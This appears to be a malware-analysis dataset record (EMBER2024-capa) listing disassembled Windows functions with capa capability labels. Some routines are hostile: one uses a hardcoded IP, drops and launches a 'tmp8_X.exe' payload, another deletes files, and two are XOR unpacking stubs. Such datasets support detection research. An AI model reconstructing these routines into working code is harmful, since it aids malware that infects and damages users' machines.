joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403f69
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403f89
mov eax, dword [ebp + 8]
call fcn.00403fd4
test eax, eax
je 0x403fcf
push edi
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x403fce
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jne 0x403fc7
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x403fd4
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403fe7
xor eax, eax
pop esi
ret
test al, 1
je 0x403fee
xor eax, 1
test al, 4
je 0x403ff5
xor eax, 4
test al, 2
je 0x403ffc
xor eax, 2
test al, 0x20
je 0x404003
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov eax, esi
pop esi
ret
Function at 0x404066
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x430c20]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
xor eax, eax
movzx ecx, word [eax + str.OurPro]
mov word [eax + 0x4351a8], cx
inc eax
inc eax
cmp cx, si
jne 0x40408a
xor eax, eax
movzx ecx, word [eax + str.WinCls]
mov word [eax + 0x4350e0], cx
inc eax
inc eax
cmp cx, si
jne 0x4040a1
mov eax, edi
call fcn.00404230
mov eax, dword [ebp + 0x10]
mov edx, 0x435278
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
cmp cx, si
jne 0x4040c7
call section..text
push 0x7d0
mov dword [0x431fc0], eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.0040109c
test eax, eax
je 0x4040ff
call fcn.00402454
push esi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push esi
push edi
push esi
push esi
push esi
mov eax, connect
push eax
push esi
push eax
push 0xcf0000
push 0x4351a8
push 0x4350e0
push esi
mov dword [0x435270], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x404135
call fcn.004025cd
cmp eax, esi
jne 0x40414e
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00412d47
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
mov word [esp + 0x14], ax
lea eax, [esp + 0x16]
push esi
push eax
call fcn.00415130
mov ecx, dword [0x435780]
add esp, 0xc
cmp ecx, esi
jbe 0x404191
cmp word [0x435784], si
jbe 0x404191
mov esi, str.218.54.31.226
call fcn.00402f00
mov ax, word [0x435784]
mov word [0x431fb4], ax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov esi, ecx
div esi
xor edx, edx
mov ebx, 0x435b38
div ecx
push edx
push str.tmp8_X.exe
push ebx
call fcn.00404312
add esp, 0xc
call fcn.00402fc0
lea edi, [esp + 0x10]
call fcn.00402f64
push 0x42a870
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00412d56
add esp, 0xc
push ebx
mov eax, edi
push esi
push eax
call fcn.00412d56
add esp, 0xc
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404219
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
xor eax, eax
push eax
push 0x42a980
mov ecx, edi
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00403c52
push 0
jmp 0x4040f9

Function at 0x4051f2
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x405386
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xff0]
mov eax, 0x1070
call fcn.004175e0
mov eax, dword [0x430c20]
xor eax, ebp
mov dword [ebp + 0xfec], eax
mov eax, dword [ebp + 0xff8]
push esi
push edi
push 0x42a868
push eax
lea eax, [ebp - 0x18]
mov esi, ecx
xor edi, edi
push eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
call fcn.004132ab
add esp, 0xc
cmp dword [ebp - 0x18], edi
jne 0x4053e1
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
jmp 0x405474
push ebx
push 2
push edi
push dword [ebp - 0x18]
call fcn.0041397d
push dword [ebp - 0x18]
call fcn.00413b9f
push edi
push edi
push dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
call fcn.0041397d
lea eax, [ebp - 0x80]
call fcn.004051f2
push dword [ebp - 0x18]
mov esi, 0x1000
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.0041359e
mov ebx, eax
add esp, 0x2c
cmp ebx, edi
jbe 0x40544e
push ebx
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x14]
call fcn.0040521d
push dword [ebp - 0x18]
add dword [ebp - 0x1c], ebx
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.0041359e
mov ebx, eax
add esp, 0x14
test ebx, ebx
ja 0x405427
mov edi, dword [ebp - 0x20]
push edi
lea esi, [ebp - 0x80]
call fcn.004052b6
push dword [ebp - 0x18]
call fcn.00413632
mov eax, dword [ebp - 0x1c]
pop ecx
pop ecx
pop ebx
cmp eax, dword [ebp - 0x24]
jb 0x4053d3
xor eax, eax
inc eax
mov ecx, dword [ebp + 0xfec]
pop edi
xor ecx, ebp
pop esi
call fcn.00412d47
add ebp, 0xff0
leave
ret

Function at 0x406c17
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x406c22
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x406cd4
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42be60]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42be60]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42be60]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42be60]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42be60]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42be60]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42be60]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42be60]
inc ecx
sub edi, 8
dec esi
jne 0x406c39
pop ebx
test edi, edi
je 0x406ced
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x42be60]
inc ecx
dec edi
jne 0x406cd8
pop esi
not eax
pop edi
ret
Function at 0x406cf2
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x42be60]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x42be60]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x407367
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x407397
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 2]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x407392
mov byte [esi + 6], 1
mov eax, dword [ebp + 0x10]
jmp 0x4073bf
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x4073a8
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0xc]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.00419bf0
add esp, 0xc
add dword [esi + 0x14], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret
Function at 0x408066
Capabilities:
Get common file path

Disassembly:
push ecx
cmp dword [ebx], 0
push esi
push edi
jne 0x40810c
cmp dword [ebx + 4], 0xffffffff
jne 0x40810c
lea esi, [ebx + 0x244]
push esi
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x408093
sub eax, edx
sar eax, 1
movzx eax, word [ebx + eax*2 + 0x242]
cmp ax, 0x5c
je 0x4080ca
cmp ax, 0x2f
je 0x4080ca
dec esi
dec esi
mov ax, word [esi + 2]
inc esi
inc esi
test ax, ax
jne 0x4080b7
mov edi, esi
mov esi, 0x42a870
movsd dword es:[edi], dword [esi]
push 0x18
call fcn.004088dd
and dword [eax + 0x14], 0
and dword [eax + 7], 0
pop ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 0xc], ecx
mov ecx, dword [esp + 0x14]
push eax
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0xb], 0
mov dword [eax + 0x10], ecx
call fcn.004075e0
mov dword [ebx], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x408111
mov eax, 0x1000000
pop edi
pop esi
pop ecx
ret 8

Function at 0x412d47
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430c20]
jne 0x412d51
repz ret
jmp fcn.0041760b
Function at 0x42211f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004178e0
and dword [ebp - 4], 0
cmp dword [0x434abc], 0
mov ebx, eax
jne 0x4221d0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x422281
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x422281
push eax
call fcn.0041786e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434abc], eax
call esi
push eax
call fcn.0041786e
mov dword [esp], 0x42962c
push edi
mov dword [0x434ac0], eax
call esi
push eax
call fcn.0041786e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x434ac4], eax
call esi
push eax
call fcn.0041786e
pop ecx
mov dword [0x434acc], eax
test eax, eax
je 0x4221d0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041786e
pop ecx
mov dword [0x434ac8], eax
mov eax, dword [0x434ac8]
cmp eax, ebx
je 0x422228
cmp dword [0x434acc], ebx
je 0x422228
push eax
call fcn.004178e9
push dword [0x434acc]
mov esi, eax
call fcn.004178e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x422228
test edi, edi
je 0x422228
call esi
test eax, eax
je 0x42221f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42221f
test byte [ebp - 0xc], 1
jne 0x422228
or dword [ebp + 0x10], 0x200000
jmp 0x422261
mov eax, dword [0x434ac0]
cmp eax, ebx
je 0x422261
push eax
call fcn.004178e9
pop ecx
test eax, eax
je 0x422261
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x422261
mov eax, dword [0x434ac4]
cmp eax, ebx
je 0x422261
push eax
call fcn.004178e9
pop ecx
test eax, eax
je 0x422261
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x434abc]
call fcn.004178e9
pop ecx
test eax, eax
je 0x422281
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x422283
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x784a5a56
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0xdde674b
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4055a4
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffbe4
mov esi, edx
mov ebx, eax
test bl, bl
je 0x4055e6
movzx eax, bl
add ax, 0x41
dec eax
mov word [esp], ax
mov word [esp + 2], 0x3a
mov word [esp + 4], 0
lea eax, [esp + 0x212]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
push esp
call sub.kernel32.dll_SetCurrentDirectoryW
lea eax, [esp + 8]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
test bl, bl
je 0x405606
lea eax, [esp + 0x212]
push eax
call sub.kernel32.dll_SetCurrentDirectoryW
mov eax, esi
lea edx, [esp + 8]
mov ecx, 0x105
call fcn.0040875c
add esp, 0x41c
pop esi
pop ebx
ret

Function at 0x40585c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00407c44
test esi, esi
jne 0x405892
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00407dcc
jmp 0x4058b0
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00405740
mov edi, eax
test esi, esi
je 0x4058b0
cmp dword [ebx], 0
je 0x4058b0
dec esi
jmp 0x405899
add esp, 0x20c
pop edi
pop esi
pop ebx
ret
Function at 0x4068ac
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00406d54
mov byte [esp], al
cmp byte [esp], 0
jne 0x406a35
test edi, edi
je 0x406a35
mov byte [esp + 1], 0
test ebp, ebp
jle 0x406975
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x406950
cmp edi, 0xffffffff
je 0x406911
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x406911
mov byte [esp], 0
jmp 0x406a35
cmp dword [esi], 1
jg 0x406950
cmp dword [esi], 0
jne 0x406942
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x406942
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x406a35
lea eax, [esp + 0xc]
call fcn.0040658c
dec ebp
test ebp, ebp
jg 0x4068f6
cmp edi, 0xffffffff
je 0x406975
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x406973
mov byte [esp], 0
jmp 0x406a35
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x4068ba
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x406975
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00406ab0
mov edx, eax
mov ebx, dword [0x4d58f8]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x4069d9
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x4069d7
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x4069d9
xor edi, edi
cmp byte [esp], 0
je 0x4069ff
mov ebx, dword [esi]
test bl, 1
jne 0x406a15
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x4069df
mov byte [esp + 1], 1
jmp 0x406a15
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x4069ff
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x40698c
cmp byte [esp], 0
je 0x406a35
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4078dc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4d5058], 0
je 0x407943
cmp word [0x4d5344], 0xd7b2
jne 0x407905
cmp dword [0x4d534c], 0
jbe 0x407905
mov eax, 0x4d5340
call dword [0x4d535c]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x407970
call fcn.00408410
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4ce032], 0
jne 0x40795f
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x407b04
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x4ce034], 0
je 0x407b2f
mov edx, edi
mov eax, esi
call dword [0x4ce034]
mov ebx, eax
jmp 0x407b40
mov eax, 8
call fcn.00405400
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x4d5059], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x407acc
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x407b70
mov eax, ebx
call fcn.0040541c
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc

Function at 0x40a6f4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40a859
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00407c44
cmp si, word [0x4cea08]
jb 0x40a78c
cmp si, word [0x4cec08]
ja 0x40a78c
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40a78c
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x4cea08]
jae 0x40a766
mov edi, ebx
dec edi
jmp 0x40a787
cmp si, word [ebx*8 + 0x4cea08]
jbe 0x40a776
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40a787
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x4cea0c]
call fcn.0040a614
jmp 0x40a78c
cmp edi, dword [ebp - 8]
jae 0x40a750
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40a83b
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40a83b
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040875c
push dword [ebp - 0x160]
push 0x40a874
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040875c
push dword [ebp - 0x164]
push 0x40a884
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040875c
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.00408994
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a860
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00407ca4
ret
Function at 0x40aa0c
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40ab10
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4d7c10
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x4d7c28]
jne 0x40aa58
mov eax, esi
mov edx, 0x4d7c2a
mov ecx, 0x55
call fcn.0040875c
push 0x4d7c10
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40aafa
push 0x4d7c10
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.00407c44
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40aac7
cmp byte [0x4d7c0c], 0
je 0x40aa8c
mov edx, esi
mov eax, ebx
call fcn.0040a8f0
jmp 0x40aac7
mov edx, esi
mov eax, ebx
call fcn.0040a6f4
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x40aac7
cmp dword [esi], 0
je 0x40aab0
mov eax, esi
mov edx, 0x40ab28
call fcn.004088b4
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.0040a6f4
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.004088b4
push 0x4d7c10
call sub.kernel32.dll_EnterCriticalSection
mov word [0x4d7c28], bx
mov eax, dword [esi]
call fcn.004086bc
mov ecx, eax
mov eax, 0x4d7c2a
mov edx, 0xaa
call fcn.0040a574
push 0x4d7c10
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ab17
lea eax, [ebp - 4]
call fcn.00407c44
ret
Function at 0x40ad40
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00407d28
xor eax, eax
push ebp
push 0x40af65
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x40ad80
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x40ad9a
mov eax, dword [ebp - 4]
call fcn.004086bc
mov ecx, eax
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.0040a574
cmp word [ebp - 0x21a], 0
je 0x40af4f
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40af74
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40ae69
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40af74
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40ae69
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40afb0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40ae69
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40afb0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40ae69
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40afe4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40ae69
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40b018
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x40af4f
xor eax, eax
push ebp
push 0x40af48
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.0040ab50
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40aed8
mov eax, dword [ebp - 0x10]
call fcn.00405400
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00408720
jmp 0x40af23
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x40b058
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40af23
mov eax, dword [ebp - 0x10]
call fcn.00405400
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x40b058
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00408720
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40af4f
cmp dword [ebp - 8], 0
je 0x40af3e
mov eax, dword [ebp - 8]
call fcn.0040541c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40af6c
lea eax, [ebp - 4]
call fcn.00407c44
ret